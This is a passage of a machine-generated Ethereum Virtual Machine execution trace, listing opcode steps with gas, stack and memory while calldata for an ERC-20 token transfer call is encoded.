6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x40","0xe4","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6656,"op":"MSTORE","gas":65464,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xe4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6657,"op":"PUSH1","gas":65461,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6659,"op":"DUP2","gas":65458,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6660,"op":"ADD","gas":65455,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x20","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6661,"op":"DUP1","gas":65452,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6662,"op":"MLOAD","gas":65449,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6663,"op":"PUSH28","gas":65446,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa0","0x87132c7dbd0d6d6a73c9df24382f546c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6692,"op":"AND","gas":65443,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa0","0x87132c7dbd0d6d6a73c9df24382f546c","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6693,"op":"PUSH4","gas":65440,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa0","0x87132c7dbd0d6d6a73c9df24382f546c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6698,"op":"PUSH1","gas":65437,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa0","0x87132c7dbd0d6d6a73c9df24382f546c","0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6700,"op":"SHL","gas":65434,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa0","0x87132c7dbd0d6d6a73c9df24382f546c","0xa9059cbb","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6701,"op":"OR","gas":65431,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa0","0x87132c7dbd0d6d6a73c9df24382f546c","0xa9059cbb00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6702,"op":"SWAP1","gas":65428,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa0","0xa9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6703,"op":"MSTORE","gas":65425,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0xa9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","0000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6704,"op":"PUSH2","gas":65422,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6707,"op":"SWAP1","gas":65419,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x1a3a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6708,"op":"DUP5","gas":65416,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6709,"op":"SWAP1","gas":65413,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x80","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6710,"op":"PUSH2","gas":65410,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":6713,"op":"JUMP","gas":65407,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x1b8d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7053,"op":"JUMPDEST","gas":65399,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7054,"op":"PUSH1","gas":65398,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7056,"op":"PUSH2","gas":65395,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7059,"op":"DUP3","gas":65392,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7060,"op":"PUSH1","gas":65389,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7062,"op":"MLOAD","gas":65386,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7063,"op":"DUP1","gas":65383,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":7064,"op":"PUSH1","gas":65380,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x80","0xe4","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000e4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000